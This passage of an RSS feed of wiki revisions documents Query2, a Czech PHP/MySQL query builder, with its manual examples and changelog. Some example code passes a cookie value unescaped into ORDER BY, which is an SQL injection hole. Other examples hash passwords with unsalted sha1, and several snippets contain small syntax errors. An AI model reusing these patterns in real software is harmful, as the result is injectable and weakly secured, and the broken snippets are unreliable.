		&quot;Brno&quot; =&gt; array(
			0 =&gt; array(
				&quot;id&quot; =&gt; 3,
				&quot;country&quot; =&gt; &quot;CR&quot;
				&quot;city&quot; =&gt; &quot;Brno&quot;,
				&quot;name&quot; =&gt; &quot;Eva&quot;
			)
		)
	),
	&quot;SR&quot; =&gt; array(
		&quot;Bratislava&quot; =&gt; array(
			0 =&gt; array(
				&quot;id&quot; =&gt; 4,
				&quot;country&quot; =&gt; &quot;SR&quot;
				&quot;city&quot; =&gt; &quot;Bratislava&quot;,
				&quot;name&quot; =&gt; &quot;Martina&quot;
			)
		)
	)
);
{/syntax}

!!!Iterator a countable interface
S výsledky je možné pracovat i jako s obyčejným polem:

{syntax php}
$result = $q-&gt;query(&quot;SELECT * FROM users&quot;);

echo &quot;Počet uživatelů je: &quot;, count($result), &quot;&lt;br /&gt;\n&quot;;

foreach($result as $row)
	echo $row[&quot;name&quot;], &quot;&lt;br /&gt;\n&quot;;

// Result se dá &quot;rewindnout&quot;, jde tedy procházet výsledek opakovaně
foreach($result as $row)
	echo $row[&quot;surname&quot;], &quot;&lt;br /&gt;\n&quot;;
{/syntax}



!!Query2Builder
SQL je jazyk poměrně blízký lidskému jazyku - to má své výhody, ale také jednu nevýhodu - dotaz se ''kódem'' blbě modifikuje. Vytvořme si modelovou situaci. V administraci blogovacího systému máme seznam blogpostů, ten je možné řadit podle libovolného sloupce, stránkovat, filtrovat podle data publikace a autora. Možných variant dotazu je docela dost a kód, který tento dotaz generuje je zbytečně dlouhý a nepřehledný. Query2Builder se snaží tento problém usnadnit:

{syntax php}
// Objekt Query2Builder získáváme z objektu Query2 metodou builder()
$builder = $q-&gt;builder();

$builder-&gt;select(&quot;blog.id&quot;)-&gt;select(&quot;blog.name, blog.id_autor&quot;)-&gt;from(&quot;blog&quot;); // je možné více způsobů zápisu

if(isset($_COOKIE[&quot;filter_autor&quot;]) // v Query2Builderu je možné úplně normálně používat modifikátory
	$builder-&gt;from(&quot;JOIN autor USING(id_autor)&quot;)-&gt;whereAnd(&quot;autor.name LIKE %s&quot;, $_COOKIE[&quot;filter_autor&quot;]);

if(isset($_COOKIE[&quot;filter_datum&quot;]))
	$builder-&gt;whereAnd(&quot;blog.datum = %s&quot;, $_COOKIE[&quot;filter_datum&quot;]); // je možné používat modifikátory

if(isset($_COOKIE[&quot;orderby&quot;]))
	$builder-&gt;orderBy($_COOKIE[&quot;orderby&quot;]);

$builder-&gt;limit(($page - 1) * $perpage, $perpage); // stránkování

$blogposty = $q-&gt;query($builder)-&gt;fetchAll(); // do metody query() zadáme jako argument instanci Query2Builder

// použijeme trochu modifikovaný dotaz pro získání celkového počtu řádků (užitečné na zobrazení stránkování)
// BTW, v MySQL jde udělat i bez spouštění druhého dotazu
$celkem_pocet = $q-&gt;query($builder-&gt;clearSelect()-&gt;select(&quot;COUNT(*)&quot;)-&gt;clearLimit())-&gt;fetchOne();
{/syntax}

!!!Zanořené WHERE a HAVING
{syntax php}
$or = $q-&gt;builder()-&gt;whereOr(&quot;skladem = 1&quot;)-&gt;whereOr(&quot;ocekavane_naskladneni &lt; NOW() + INTERVAL 1 MONTH&quot;);
$builder = $q-&gt;builder()-&gt;select(&quot;*&quot;)-&gt;from(&quot;knihy&quot;)-&gt;whereAnd(&quot;v_prodeji = 1&quot;)-&gt;whereAnd($or);

// composeQuery() pouze vytvoří SQL dotaz, ale nespouští jej
echo $q-&gt;composeQuery($builder);

// =&gt; SELECT * FROM knihy WHERE v_prodeji = 1 AND (skladem = 1 OR ocekavane_naskladneni &lt; NOW() + INTERVAL 1 MONTH)
{/syntax}

Jedna instance Query2Builderu dokáže vytvořit pouze jednu úroveň pro WHERE. Na druhou stranu, ale také akceptuje jako argument další instanci Query2Builderu, kterou bere jako zanořenou podmínku.

Metody pro HAVING se chovají analogicky.

!!!Jiné dotazy než SELECTy
Query2Builder byl vytvořen hlavně pro SELECTy, s trochou snahy ho lze ale využít pro libovolné dotazy, viz pár například:

{syntax php}
$where = $q-&gt;builder()-&gt;whereAnd(&quot;active = 1&quot;)-&gt;whereAnd(&quot;id_category = %i&quot;, $id_category);
$q-&gt;query(&quot;UPDATE book SET %a&quot;, $cols_to_update, $where);
// =&gt; UPDATE book SET availability = 1, ... WHERE active = 1 AND id_category = 456
{/syntax}

Využíváme té vlastnosti, že Quer2Builder do generovaného dotazu vkládá pouze neprázdné položky. Pokud jsme tedy nezadali žádný sloupect do select() nebo tabulku do from(), ve výsledném dotazu vůbec klíčová slova SELECT a FROM nebudou (nebude se tedy jednat o správně zkonstruovaný dotaz, ale můžeme jej použít jako část celku).
!!Obsluha chyb
Obsluha chyb je velmi jednoduchá, při každé se vyhodí výjimka Query2Exception. Vyhozená výjimka má tyto atributy:
* code - číselný kód chyby:
** 100 - ''Can't connect to database server.''
** 101 - ''Can't select database.''
** 200 - ''Wrong argument list/order to query()''
*** Nastává, v případech: $q-&gt;query(&quot;INSERT INTO users %v&quot;); (tedy zapomenutí parametru)
** 201 - ''Wrong modifier to query() function.''
** 300 - Chyba při vykonávání dotazu
* error - textový popis chyby, v případě 300 se jedná o mysql_error()
* sql - u 300 dotaz, který chybu způsobil

!Extras
!!Logování

Objektu lze předat callback, který bude volán po vykonání dotazu s údaji o délce provedení, úspěchu dotazu (callback se volá před vyhozením výjimky).

{syntax php}
function logger($success, $query, $time)
{
	echo &quot;Podařilo se dotaz vykonat: ($success ? &quot;ANO&quot; : &quot;NE&quot;), &quot;, dotaz zabral $time milisekund. Obsah dotazu: $query&quot;;
}

$q-&gt;setLogCallback(&quot;logger&quot;);

$callback = $q-&gt;getLogCallback(); // v případe, když bychom ho potřebovali zpět
{/syntax}

!!Pomocné metody
* composeQuery() - akceptuje stejné parametry jako query() a vrací vygenerovaný dotaz v čistém SQL
* pquery() - vygeneruje dotaz, vytiskne ho na výstup, ale dotaz také spustí. Vhodné na rychlé hledání chyb, protože jediné, co potřebujete pro výpis dotazu na výstup je přidání jediného písmenka (query() =&gt; pquery()), jinak totiž všechno funguje úplně stejně.

!!Statické metody
V Dibi najdete zdánlivě praktické statické metody dibi::connect(), dibi::query() a možná i další. V Query2 žádné takové nenajdete a to jednoduše proto, že jsou z principu velmi špatné. Proč jsou statické metody tak špatné zjistíte (např.), když podědíte třídu dibi a budete ji chtít použít v existujícím projektu místo dibi.

!!Unit testy
V [repozitáři|https://code.google.com/p/query2/source/] je k dispozici [soubor|https://code.google.com/p/query2/source/browse/trunk/test/Query2Test.php] s PHPUnit testy. Přestože je pokrytí kódu prakticky stoprocentní, je stále co zlepšovat. Může se hodit na věci, které z manuálu nejsou úplně jasné.

!Autor
Autorem Query2 je Adam Živnéř, adam.zivner@gmail.com . Úvodní fázi vývoje zasponzorovala firma [Továrna.cz|http://www.tovarna.cz].
</pre></description>
	</item>

	<item>
	  <title>Main page</title>
	  <pubDate>Tue, 25 May 2010 20:29:06 +0200</pubDate>
	  <link>http://query2.0o.cz/index.php?page=Main+page</link>
	  <description><pre id="diff">{TOC}
Query2 je minimalistický databázový layer pro MySQL v PHP. Je podobný třeba [dibi|http://dibiphp.com/] nebo [Zend_Db|http://framework.zend.com/manual/en/zend.db.html], hlavní odlišností je asi to, že se nepokouší o databázovou abstrakci - je pevně svázán s [MySQL|http://mysql.com], což má své výhody i nevýhody.

!Přehled
* Malá, jednoduchá a snadno upravitelná knihovna - celé Query2 má asi <del>17KB,</del><ins>20KB,</ins> kód je čitelný a dostatečně komentovaný
** Pro srovnání, kód Dibi má 250KB, cca <del>15krát</del><ins>12krát</ins> tolik.
* Flexibilní a mocný - Query2 umožňuje psát značně méně kódu
* Dělá jednu věc, zato pořádně - tou je &quot;kompozice&quot; dotazu
** Neumí managovat databázové spojení, logování a podobné okrajové věci
* Umí používat speciality MySQL
** Jako třeba [INSERT INTO ... ON DUPLICATE KEY UPDATE|http://dev.mysql.com/doc/refman/5.0/en/insert-on-duplicate.html]
* Neumí pojmenované parametry - v MySQL je ostatně jejich přínos diskutabilní
* licencován pod [New BSD license|http://www.opensource.org/licenses/bsd-license.php]
<del></del>

!Download

Aktuální stabilní verze je <del>1.0.5,</del><ins>1.1.0,</ins> k dispozici ke stáhnutí <del>[zde|./download/Query2-1.0.5.tar.gz].</del><ins>[zde|./download/Query2-1.1.0.tar.gz].</ins> SVN repozitář je na Google Code k nalezení [zde|https://code.google.com/p/query2/source/checkout].

Změny v jednotlivých verzích jsou popsány v [ChangeLogu|ChangeLog].

!!Požadavky
PHP &gt;= 5. Otestováno na PHP 5.0.5, 5.2.11 a 5.3.1. Query2 je možné použít pouze s kódováními kompatibilními s ASCII, např. UTF-8, ISO-8859-X/latinX, CP-XXXX atp. Mezi kódování nekompatibilní s ASCII patří např. UTF-16/UCS-2 nebo UTF-32/UCS-4.
<del>




</del>

!Manuál
!!Připojení k databázi

{syntax php}
// Vytvoříme instanci objektu a zároveň se připojíme k databázi
$q = new Query2(&quot;localhost&quot;, &quot;root&quot;, &quot;&quot;, &quot;my_database&quot;);

// <del>Jde to</del><ins>Připojit se k databázi můžeme</ins> ale <del>i jinak</del><ins>nezávisle na instanciaci objektu</ins>
$q = new Query2(); // pouze vytvoříme instanci objektu
$q-&gt;connect(&quot;localhost&quot;, &quot;root&quot;, &quot;&quot;, &quot;my_database&quot;); // connect() má stejné parametry jako konstruktor
{/syntax}

!!Základní dotazy
{syntax php}
echo $q-&gt;query(&quot;SELECT id FROM users WHERE login = %s AND password = %s&quot;, 
	$_POST[&quot;login&quot;], sha1($_POST[&quot;password&quot;]))-&gt;fetchOne();

// SQL kód můžeme mixovat s parametry, následující dotaz dělá úplně to samé, co předchozí
echo $q-&gt;query(&quot;SELECT id FROM users WHERE login = %s&quot;, sha1($_POST[&quot;password&quot;]), 
	&quot;AND password = %s&quot;, $_POST[&quot;login&quot;])-&gt;fetchOne();
{/syntax}

Co přesně kód dělá? Metoda query() zparsuje vstupní argumenty a spustí dotaz. Předali jsme jí 3 parametry (v prvním případě). Parser hledá znaky procenta, ty značí, že následující znak/řetězec má speciální význam (říkáme jim ''modifikátory''). %s znamená, že další parametr bude řetězec, který se má na místo %s substituovat, ale v escapované podobě. Nemusíme se proto starat o spouštění addslashes() nebo mysql_real_escape_string(). 

Metoda query() vrací tři možné věci:
* False - dotaz neuspěl
* Instanci objektu Query2Result v případě, kdy dotaz do databáze vrací nějaká data (hlavně SELECT, DESCRIBE atp.)
** To je náš případ, metodou fetchOne() objektu třídy Query2Result si vyžádáme první sloupec prvního výsledku
* Instanci objektu Query2 v ostatních případech (tedy $this)
** Typicky pro INSERT, UPDATE, DELETE atp.

!!Seznam modifikátorů
Modifikátory pracující s řetězci se často vyskytují ve dvojicích - modifikátor %a (malé písmeno) parametr escapuje, %A parametr neescapuje. I neescapovaný řetězec je ale vždy obklopen jednoduchými uvozovkami.

* %i (od slova &quot;integer&quot;) - celé číslo
* %f (&quot;float&quot;) - reálné číslo
* %s a %S (&quot;string&quot;) - řetězec
* %t (&quot;table&quot;) - jméno tabulky/sloupce/view/indexu atp., obklopuje hodnotu znakem `
** Je vhodný např. na nastavitelné řazení tabulky ala $q-&gt;query(&quot;SELECT ... ORDER BY %t&quot;, $radici_sloupec)...
** V tomto případě se používá jiný druh escapování - escapuje se znak `, &quot; a ' se nechávají být.
** Příklad: table.column =&gt; `table`.`column`
* %q (&quot;query&quot;) - pouze vloží argument, nijak ho neupravuje ani neobklopuje žádným znakem. Vhodné na vkládání částí nebo celých dotazů v čistém SQL
** Vhodné použití je spouštění nativních SQL dotazů $q-&gt;query(&quot;%q&quot;, $native); což se hodí pro jednotné logování a správu chyb.
* %in a %IN - přijímá pole hodnot a vytvoří něco jako IN ('A', 'B', 'C') - operátor IN se v SQL neuvádí, např. &quot;WHERE born %in&quot;, array(1987, 1990)
** V případě, že pole v argumentu je prázdné, vloží se místo IN() hodnota FALSE. IN() je chybný zápis, IN(NULL) zase nefunguje pro NOT IN
** NOT IN(...) se zapisuje očekávatelně: &quot;WHERE born NOT %in&quot;, array(...)
* %a a %A (&quot;aktualizovat&quot;) - z asociativního pole v argumentu vytvoří řetězec vhodný pro UPDATE
* %v a %V (&quot;vložit&quot;) - to samé jako %a a %A, ale pro INSERT
** Pokud v argumentu není asociativní pole, ale pole asociativních polí, vytvoří se multi insert
*** Pokud vkládáte velké množství řádků, pak je &quot;multi insert&quot; řádově rychlejší než X samostatných INSERTů (ale pozor na maximální velikost packetů!)
* %va a %VA - vytvoří řetězec vhodný pro INSERT ... ON DUPLICATE KEY, je to ale trochu složitější a rozeberu to zvlášť níže

Speciálním případem je PHP hodnota null, která se bez ohledu na modifikátor vždy převede na NULL v SQL.

!!!Příklady

{syntax php}
// Vytvoří dotaz SELECT 'SQL \'injection', 'SQL 'injection'
$q-&gt;query(&quot;SELECT %s, %S&quot;, &quot;SQL 'injection&quot;, &quot;SQL 'injection&quot;);

// Chceme najít všechny loginy končící na písmeno s (pouze demonstrativní příklad)
// Vytvoří SELECT * FROM users WHERE login LIKE '%s'
$q-&gt;query(&quot;SELECT * FROM users WHERE %q&quot;, &quot;login LIKE '%s'&quot;);

// Vytvoří dotaz UPDATE users SET name = 'Lil\' John', password = '47bce5c74f589f4867dbd57e9ca9f808' WHERE id = 25
$q-&gt;query(&quot;UPDATE users SET %a WHERE id = %i&quot;, array(
	&quot;name&quot; =&gt; &quot;Lil' John&quot;,
	&quot;password&quot; =&gt; &quot;47bce5c74f589f4867dbd57e9ca9f808&quot;
), 25);

// Vytvoří dotaz SELECT * FROM users WHERE login IN ('Eva', 'Filip', 'Jakub') ORDER BY `lo'gi``n`
$q-&gt;query(&quot;SELECT * FROM users WHERE login %in ORDER BY %t&quot;, array(&quot;Eva&quot;, &quot;Filip&quot;, &quot;Jakub&quot;), &quot;lo'gi`n&quot;);

// Vytvoří dotaz INSERT INTO users (name, password) VALUES ('Lil\' John', '47bce5c74f589f4867dbd57e9ca9f808')
$q-&gt;query(&quot;INSERT INTO users %v&quot;, array(
	&quot;name&quot; =&gt; &quot;Lil' John&quot;,
	&quot;password&quot; =&gt; &quot;47bce5c74f589f4867dbd57e9ca9f808&quot;
));
{/syntax}

Poslední dva příklady dávají nápovědu jak řešit častý problém: ''pokud řádek v tabulce existuje, potřebujeme jej aktualizovat, pokud ne, tak vytvořit'':

{syntax php}
$arr = array(
	&quot;name&quot; =&gt; &quot;Eva&quot;,
	&quot;password&quot; =&gt; &quot;47bce5c74f589f4867dbd57e9ca9f808&quot;
);

if($id)
	$q-&gt;query(&quot;UPDATE users SET %a WHERE id = %i&quot;, $arr, $id);
else
	$id = $q-&gt;query(&quot;INSERT INTO users %v&quot;, $arr)-&gt;lastInsertId();
{/syntax}

Tento problém lze vyřešit elegantně i bez Query2, a to pomocí méně známé MySQL konstrukce INSERT INTO users SET ..., která data přijímá ve stejné podobě jako UPDATE.

Jde to ale ještě elegantněji:

!!!INSERT ... ON DUPLICATE KEY UPDATE
Zopakujme si, co vlatně tato velmi užitečná konstrukce dělá: Nejprve se snaží vložit zadaný řádek, pokud ovšem nemůže kvůli konfliktu indexů (a to nejen primárního, ale i ostatních unikátních), pak se provede update řádku (a to jen vyspecifikované hodnoty).

Zápis v SQL je ale zbytečně dlouhý a možná i matoucí.

Query2 umožňuje dvě možná použití této konstrukce, která se liší formátem argumentu:

!!!!Jednoduchá
Snaží se vložit řádek, pokud neuspěje, aktualizuje všechny sloupce řádku uvedené v argumentu. Argumentem je klasické asociativní pole jméno =&gt; hodnota.

{syntax php}
// Vytvoří dotaz INSERT INTO users (name, password) VALUES ('Eva', '47bce5c74f589f4867dbd57e9ca9f808') 
//		 ON DUPLICATE KEY UPDATE name = VALUES(name), password = VALUES(password)
$q-&gt;query(&quot;INSERT INTO users %va&quot;, array(
	&quot;name&quot; =&gt; &quot;Eva&quot;,
	&quot;password&quot; =&gt; &quot;47bce5c74f589f4867dbd57e9ca9f808&quot;
));
{/syntax}

!!!!Složitá
Toto použití je složitější, ale poskytuje více možností. Argumentem je pole, ovšem s maximálně třemi položkami:
* data - klasické asociativní pole s jmény sloupců a hodnotami (tedy stejné jako argument z jednoduché varianty), povinné
* update - pole s jmény sloupců, které se mají updatovat v případě konfliktu indexů, volitelné
** pokud není definované, předpokládají se všechny sloupce
* auto_increment - specifikuje sloupec s auto inkrementem, volitelné

{syntax php}
// Vytvoří dotaz INSERT INTO users (id, name, password) VALUES (5, 'Eva', '47bce5c74f589f4867dbd57e9ca9f808') 
//		 ON DUPLICATE KEY UPDATE password = VALUES(password), id = LAST_INSERT_ID(id)
$id = $q-&gt;query(&quot;INSERT INTO users %va&quot;, 
	&quot;data&quot; =&gt; array(
		&quot;id&quot; =&gt; $id
		&quot;name&quot; =&gt; &quot;Eva&quot;,
		&quot;password&quot; =&gt; &quot;47bce5c74f589f4867dbd57e9ca9f808&quot;
	),
	&quot;update&quot; =&gt; array(&quot;password&quot;),
	&quot;auto_increment&quot; =&gt; &quot;id&quot;
)-&gt;lastInsertId();
{/syntax}

Na co ten &quot;auto_increment&quot; parametr je? Vraťme se opět k našemu problému vložení řádku, pokud neexistuje a aktualizace pokud existuje. V případě, že se řádek vloží, budete pravděpodobně chtít znát ID právě vloženého řádku. V případě, že ale řádek existuje a proběhne jen update, databázové LAST_INSERT_ID logicky zůstane na předchozí hodnotě, protože ke vložení nového řádku nedošlo. Problém ale je, že nedokážeme zjistit, jestli došlo k INSERT nebo UPDATE.

Na to se nám hodí ta magická konstrukce na konci &quot;id = LAST_INSERT_ID(id)&quot;. V případě, že dojde k UPDATE, nastaví databázové LAST_INSERT_ID na hodnotu sloupce &quot;id&quot; (resp. sloupce s příznakem AUTO_INCREMENT) právě aktualizovaného řádku. Takto vám metoda lastInsertId() vždy vrátí ID řádku, ať už byl aktualizovaný nebo právě vložený.

Pokud se vám zdá, že je ta syntaxe divná, nejste sami :-)

!!!SQL konstrukce v %a, %v a %av
Představme si, že chceme do Query2 převést tento dotaz:

{syntax sql}
INSERT INTO users_login (id_user, last_login) VALUES (1, NOW())
{/syntax}

Modifikátor %v ani %V použít nemůžeme, protože oba by NOW() obalili jednoduchými uvozovkami. Musíme to řešit proto takovou specialitou:

{syntax php}
$q-&gt;query(&quot;INSERT INTO users_login %v&quot;, array(
	&quot;id_user&quot; =&gt; 1,
	&quot;last_login&quot; =&gt; new Query2Statement(&quot;NOW()&quot;)
));
{/syntax}

Query2Statement je primitivní třída vytvořená čistě pro tento úkol. V konstruktoru se zadává hodnota, která se má substituovat bez escapování a bez oblokopení uvozovkami. Upozorňuji na to, že tuto speciální konstrukce je nutné (a taky možné) použít jen uvnitř argumentů k %a/%A, %v/%V. Jinak totiž není problém napsat:

{syntax php}
$q-&gt;query(&quot;INSERT INTO users_login (id_user, last_login) VALUES (%i, NOW())&quot;, $id_user);
{/syntax}
<ins></ins>


!!Fetchování dat
Zatím jsem rozebíral pouze &quot;kompozici&quot; dotazů, teď se dostanu k &quot;fetchování&quot; dat z výsledku dotazu. Máme několik metod, většina je celkem standardní. Pojmenování je stejné jako u Zend_Db.

* fetchRow() - vrátí řádek v asociovaném poli, je možné volat opakovaně v cyklu, stejně jako [mysql_fetch_row()|http://cz.php.net/manual/en/function.mysql-fetch-row.php]
* fetchAll() - vrátí celý výsledek v dvourozměrném poli
* fetchOne() - vrátí hodnotu prvního sloupce prvního řádku výsledku. Volitelný parametr může obsahovat jméno sloupce, který se má vrátit místo prvního
* fetchCol() - vrací pole obsahující první sloupce všech řádků výsledku
* fetchPairs() - vrátí výsledek v asociativním poli složený z prvních dvou sloupců
* fetchAssoc($col, ...) - vrátí celý výsledek asociovaný podle zadaného sloupce. Pokud je zadáno více sloupců, asociuje se víceúrovňově. Pro každou hodnotu asociovaného sloupce se vytvoří pole, počítá se tím pádem s duplikátními hodnotami.

!!!Příklady
{syntax php}
$result = $q-&gt;query(&quot;SELECT id, name, password FROM users&quot;);

var_export($result-&gt;fetchRow());
array(
	&quot;id&quot; =&gt; 1,
	&quot;name&quot; =&gt; &quot;Alice&quot;,
	&quot;password&quot; =&gt; &quot;A52E094A3580FC32&quot;
)

var_export($result-&gt;fetchAll());
array(
	array(
		&quot;id&quot; =&gt; 1,
		&quot;name&quot; =&gt; &quot;Alice&quot;,
		&quot;password&quot; =&gt; &quot;A52E094A3580FC32&quot;
	),
	array(
		&quot;id&quot; =&gt; 2,
		&quot;name&quot; =&gt; &quot;Markéta&quot;,
		&quot;password&quot; =&gt; &quot;E87E094A3580FC32&quot;
	)
);

echo $result-&gt;fetchOne();
1

var_export($result-&gt;fetchCol(&quot;name&quot;));
array(&quot;Alice&quot;, &quot;Markéta&quot;);

var_export($result-&gt;fetchPairs());
array(
	1 =&gt; &quot;Alice&quot;,
	2 =&gt; &quot;Markéta&quot;
);

$result = $q-&gt;query(&quot;SELECT id, country, city, name FROM users&quot;);
var_export($q-&gt;fetchAssoc(&quot;country&quot;, &quot;city&quot;);
array(
	&quot;CR&quot; =&gt; array(
		&quot;Praha&quot; =&gt; array(
			0 =&gt; array(
				&quot;id&quot; =&gt; 1,
				&quot;country&quot; =&gt; &quot;CR&quot;
				&quot;city&quot; =&gt; &quot;Praha&quot;,
				&quot;name&quot; =&gt; &quot;Alice&quot;
			),
			1 =&gt; array(
				&quot;id&quot; =&gt; 2,
				&quot;country&quot; =&gt; &quot;CR&quot;
				&quot;city&quot; =&gt; &quot;Praha&quot;,
				&quot;name&quot; =&gt; &quot;Markéta&quot;
			)
		),
		&quot;Brno&quot; =&gt; array(
			0 =&gt; array(
				&quot;id&quot; =&gt; 3,
				&quot;country&quot; =&gt; &quot;CR&quot;
				&quot;city&quot; =&gt; &quot;Brno&quot;,
				&quot;name&quot; =&gt; &quot;Eva&quot;
			)
		)
	),
	&quot;SR&quot; =&gt; array(
		&quot;Bratislava&quot; =&gt; array(
			0 =&gt; array(
				&quot;id&quot; =&gt; 4,
				&quot;country&quot; =&gt; &quot;SR&quot;
				&quot;city&quot; =&gt; &quot;Bratislava&quot;,
				&quot;name&quot; =&gt; &quot;Martina&quot;
			)
		)
	)
);
{/syntax}

!!!Iterator a countable interface
S výsledky je možné pracovat i jako s obyčejným polem:

{syntax php}
$result = $q-&gt;query(&quot;SELECT * FROM users&quot;);

echo &quot;Počet uživatelů je: &quot;, count($result), &quot;&lt;br /&gt;\n&quot;;

foreach($result as $row)
	echo $row[&quot;name&quot;], &quot;&lt;br /&gt;\n&quot;;

// Result se dá &quot;rewindnout&quot;, jde tedy procházet výsledek opakovaně
foreach($result as $row)
	echo $row[&quot;surname&quot;], &quot;&lt;br /&gt;\n&quot;;
{/syntax}



!!Query2Builder
SQL je jazyk poměrně blízký lidskému jazyku - to má své výhody, ale také jednu nevýhodu - dotaz se ''kódem'' blbě modifikuje. Vytvořme si modelovou situaci. V administraci blogovacího systému máme seznam blogpostů, ten je možné řadit podle libovolného sloupce, stránkovat, filtrovat podle data publikace a autora. Možných variant dotazu je docela dost a kód, který tento dotaz generuje je zbytečně dlouhý a nepřehledný. Query2Builder se snaží tento problém usnadnit:

{syntax php}
// Objekt Query2Builder získáváme z objektu Query2 metodou builder()
$builder = $q-&gt;builder();

$builder-&gt;select(&quot;blog.id&quot;)-&gt;select(&quot;blog.name, blog.id_autor&quot;)-&gt;from(&quot;blog&quot;); // je možné více způsobů zápisu

if(isset($_COOKIE[&quot;filter_autor&quot;]) // v Query2Builderu je možné úplně normálně používat modifikátory
	$builder-&gt;from(&quot;JOIN autor USING(id_autor)&quot;)-&gt;whereAnd(&quot;autor.name LIKE %s&quot;, $_COOKIE[&quot;filter_autor&quot;]);

if(isset($_COOKIE[&quot;filter_datum&quot;]))
	$builder-&gt;whereAnd(&quot;blog.datum = %s&quot;, $_COOKIE[&quot;filter_datum&quot;]); // je možné používat modifikátory

if(isset($_COOKIE[&quot;orderby&quot;]))
	$builder-&gt;orderBy($_COOKIE[&quot;orderby&quot;]);

$builder-&gt;limit(($page - 1) * $perpage, $perpage); // stránkování

$blogposty = $q-&gt;query($builder)-&gt;fetchAll(); // do metody query() zadáme jako argument instanci Query2Builder

// použijeme trochu modifikovaný dotaz pro získání celkového počtu řádků (užitečné na zobrazení stránkování)
// BTW, v MySQL jde udělat i bez spouštění druhého dotazu
$celkem_pocet = $q-&gt;query($builder-&gt;clearSelect()-&gt;select(&quot;COUNT(*)&quot;)-&gt;clearLimit())-&gt;fetchOne();
{/syntax}

!!!Zanořené WHERE a HAVING
{syntax php}
$or = $q-&gt;builder()-&gt;whereOr(&quot;skladem = 1&quot;)-&gt;whereOr(&quot;ocekavane_naskladneni &lt; NOW() + INTERVAL 1 MONTH&quot;);
$builder = $q-&gt;builder()-&gt;select(&quot;*&quot;)-&gt;from(&quot;knihy&quot;)-&gt;whereAnd(&quot;v_prodeji = 1&quot;)-&gt;whereAnd($or);

// composeQuery() pouze vytvoří SQL dotaz, ale nespouští jej
echo $q-&gt;composeQuery($builder);

// =&gt; SELECT * FROM knihy WHERE v_prodeji = 1 AND (skladem = 1 OR ocekavane_naskladneni &lt; NOW() + INTERVAL 1 MONTH)
{/syntax}

Jedna instance Query2Builderu dokáže vytvořit pouze jednu úroveň pro WHERE. Na druhou stranu, ale také akceptuje jako argument další instanci Query2Builderu, kterou bere jako zanořenou podmínku.

Metody pro HAVING se chovají analogicky.

!!!Jiné dotazy než SELECTy
Query2Builder byl vytvořen hlavně pro SELECTy, s trochou snahy ho lze ale využít pro libovolné dotazy, viz pár například:

{syntax php}
$where = $q-&gt;builder()-&gt;whereAnd(&quot;active = 1&quot;)-&gt;whereAnd(&quot;id_category = %i&quot;, $id_category);
$q-&gt;query(&quot;UPDATE book SET %a&quot;, $cols_to_update, $where);
// =&gt; UPDATE book SET availability = 1, ... WHERE active = 1 AND id_category = 456
{/syntax}

Využíváme té vlastnosti, že Quer2Builder do generovaného dotazu vkládá pouze neprázdné položky. Pokud jsme tedy nezadali žádný sloupect do select() nebo tabulku do from(), ve výsledném dotazu vůbec klíčová slova SELECT a FROM nebudou (nebude se tedy jednat o správně zkonstruovaný dotaz, ale můžeme jej použít jako část celku).
!!Obsluha chyb
Obsluha chyb je velmi jednoduchá, při každé se vyhodí výjimka Query2Exception. Vyhozená výjimka má tyto atributy:
* code - číselný kód chyby:
** 100 - ''Can't connect to database server.''
** 101 - ''Can't select database.''
** 200 - ''Wrong argument list/order to query()''
*** Nastává, v případech: $q-&gt;query(&quot;INSERT INTO users %v&quot;); (tedy zapomenutí parametru)
** 201 - ''Wrong modifier to query() function.''
** 300 - Chyba při vykonávání dotazu
* error - textový popis chyby, v případě 300 se jedná o mysql_error()
* sql - u 300 dotaz, který chybu způsobil

!Extras
!!Logování

Objektu lze předat callback, který bude volán po vykonání dotazu s údaji o délce provedení, úspěchu dotazu (callback se volá před vyhozením výjimky).

{syntax php}
function logger($success, $query, $time)
{
	echo &quot;Podařilo se dotaz vykonat: ($success ? &quot;ANO&quot; : &quot;NE&quot;), &quot;, dotaz zabral $time milisekund. Obsah dotazu: $query&quot;;
}

$q-&gt;setLogCallback(&quot;logger&quot;);

$callback = $q-&gt;getLogCallback(); // v případe, když bychom ho potřebovali zpět
{/syntax}

!!Pomocné metody
* composeQuery() - akceptuje stejné parametry jako query() a vrací vygenerovaný dotaz v čistém SQL
* pquery() - vygeneruje dotaz, vytiskne ho na výstup, ale dotaz také spustí. Vhodné na rychlé hledání chyb, protože jediné, co potřebujete pro výpis dotazu na výstup je přidání jediného písmenka (query() =&gt; pquery()), jinak totiž všechno funguje úplně stejně.

!!Statické metody
V Dibi najdete zdánlivě praktické statické metody dibi::connect(), dibi::query() a možná i další. V Query2 žádné takové nenajdete a to jednoduše proto, že jsou z principu velmi špatné. Proč jsou statické metody tak špatné zjistíte (např.), když podědíte třídu dibi a budete ji chtít použít v existujícím projektu místo dibi.

!!Unit testy
V [repozitáři|https://code.google.com/p/query2/source/] je k dispozici [soubor|https://code.google.com/p/query2/source/browse/trunk/test/Query2Test.php] s PHPUnit testy. Přestože je pokrytí kódu prakticky stoprocentní, je stále co zlepšovat. Může se hodit na věci, které z manuálu nejsou úplně jasné.

!Autor
Autorem Query2 je Adam Živnéř, adam.zivner@gmail.com . Úvodní fázi vývoje zasponzorovala firma [Továrna.cz|http://www.tovarna.cz].
</pre></description>
	</item>

	<item>
	  <title>ChangeLog</title>
	  <pubDate>Fri, 30 Apr 2010 22:56:29 +0200</pubDate>
	  <link>http://query2.0o.cz/index.php?page=ChangeLog</link>
	  <description><pre id="diff"><ins>!Změny v 1.0.5
''Vydáno 25. 5. 2010''
* Opraven případ $q-&gt;query(&quot;DELETE&quot;, $builder); (kombinace Query2Builder s normálními řetězci) který předtím vyhazoval výjimku
</ins>
!Změny v 1.0.4
''Vydáno 30. 4. 2010''
* V některých případech je SET AUTOCOMMIT=1 po COMMIT nebo ROLLBACK nutné

!Změny v 1.0.3
''Vydáno 24. 3. 2010''
* V určitých vzácných případech se mohlo více % za sebou interpretovat špatně (3 a více).


!Změny v 1.0.2
''Vydáno 18. 3. 2010''
* ''Komplexní'' zápis INSERT INTO ... ON DUPLICATE KEY UPDATE nefungoval v případě, kdy jsme nedefinovali pole sloupců pro update.

!Změny v 1.0.1
''Vydáno 15. 3. 2010''
* v Query2Builderu se zbytečně escapoval vstup z select(), orderBy() a groupBy()
* oprava chyby, kdy IN() nefungovalo pro prázdné pole. Vytvořen nový modifikátor %nin pro NOT IN
* není třeba spouštět SET AUTOCOMMIT = 1 po COMMIT nebo ROLLBACK

!Změny v 1.0.0
''Vydáno 14. 3. 2010''
První veřejná verze
</pre></description>
	</item>

	<item>
	  <title>Main page</title>
	  <pubDate>Wed, 12 May 2010 07:32:48 +0200</pubDate>
	  <link>http://query2.0o.cz/index.php?page=Main+page</link>
